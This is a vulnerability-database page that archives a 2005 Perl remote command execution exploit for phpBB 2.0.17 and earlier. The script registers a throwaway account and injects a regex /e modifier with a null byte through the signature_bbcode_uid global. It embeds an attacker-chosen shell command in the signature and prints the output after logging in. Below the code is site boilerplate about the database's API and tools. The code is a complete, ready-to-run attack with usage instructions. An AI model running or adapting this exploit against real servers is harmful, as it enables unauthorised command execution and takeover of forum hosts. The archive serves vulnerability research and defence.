Lucene search
K

phpBB <= 2.0.17 (signature_bbcode_uid) Remote Command Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

phpBB <= 2.0.17 Remote Command Exploit using Per

Code

                                                #!/usr/bin/perl

# phpBB &#60;= 2.0.17 remote command execution exploit
# need for work: 
# 1. PHP 5 &#60; 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
# ------------------------------------------------
# (c)oded by 1dt.w0lf
# RST/GHC
# http://rst.void.ru
# http://ghc.ru
# 03.11.05

use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV &#60; 2) { usage(); }

head();

$xpl = LWP::UserAgent-&#62;new() or die;
$cookie_jar = HTTP::Cookies-&#62;new();

for($i=0;$i&#60;5;$i++)
 {
  $rand .= int(rand(9));  
 }

$name     = &#39;r57phpBB2017xpl&#39;.$rand;
$password = &#39;r57phpBB2017xpl&#39;.$rand;
$path = $ARGV[0];
$cmd  = $ARGV[1];
$xpl-&#62;cookie_jar( $cookie_jar );

$res = $xpl-&#62;post(
  $path.&#39;profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00&#39;,

  Content  =&#62; [  
              &#39;username&#39; =&#62; $name,
              &#39;email&#39; =&#62; $rand.&#39;[email protected]&#39;,
              &#39;new_password&#39; =&#62; $password,
              &#39;password_confirm&#39; =&#62; $password,
              &#39;signature&#39; =&#62; &#39;r57:`&#39;.$cmd.&#39;`&#39;,
              &#39;viewemail&#39; =&#62; &#39;0&#39;,
              &#39;hideonline&#39; =&#62; &#39;1&#39;,
              &#39;notifyreply&#39; =&#62; &#39;0&#39;,
              &#39;notifypm&#39; =&#62; &#39;0&#39;,
              &#39;popup_pm&#39; =&#62; &#39;0&#39;,
              &#39;attachsig&#39; =&#62; &#39;0&#39;,
              &#39;allowbbcode&#39; =&#62; &#39;1&#39;,
              &#39;allowhtml&#39; =&#62; &#39;1&#39;,
              &#39;allowsmilies&#39; =&#62; &#39;0&#39;,
              &#39;mode&#39; =&#62; &#39;register&#39;,
              &#39;agreed&#39; =&#62; &#39;true&#39;,
              &#39;coppa&#39; =&#62; &#39;0&#39;,
              &#39;submit&#39; =&#62; &#39;Submit&#39;,
              ],
  );

if($res-&#62;content =~ /form action=\&#34;profile.php/) { print &#34;Failed to register user $name\r\n&#34;; exit(); }
else { print &#34;Done. User $name successfully registered!\r\n&#34;; }

$res = $xpl-&#62;post(
  $path.&#39;login.php&#39;,
  Content  =&#62; [
              &#39;username&#39; =&#62; $name,
              &#39;password&#39; =&#62; $password,
              &#39;redirect&#39; =&#62; &#39;&#39;,
              &#39;login&#39;    =&#62; &#39;Log in&#39;,
              ],Referer =&#62; $path.&#39;login.php&#39;);

$res = $xpl-&#62;get($path.&#39;profile.php?mode=editprofile&#39;);
@content = split(&#34;\n&#34;,$res-&#62;content);
print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;
for(@content)
 {
 if(/&#60;\/textarea&#62;/) { $p = 0; }
 print $_.&#34;\r\n&#34; if $p;
 if(/&#60;textarea name=&#34;signature&#34;/){ $p = 1; }
 }
print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;

sub head()
 {
 print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;
 print &#34; PhpBB &#60;= 2.0.17, PHP 5 &#60; 5.0.5 remote command execution exploit by RST/GHC\r\n&#34;;   
 print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;
 }
 
sub usage()
 {
 head();
 print &#34; Usage: r57phpBB2017.pl &#60;path&#62; &#60;cmd&#62;\r\n&#34;;
 print &#34; &#60;path&#62; - Path to forum e.g. http://phpbb.com/forum/\r\n&#34;;
 print &#34; &#60;cmd&#62;  - Command for execute\r\n&#34;;
 print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;
 print &#34;(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n&#34;;
 print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;
 exit();
 }

# milw0rm.com [2005-12-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17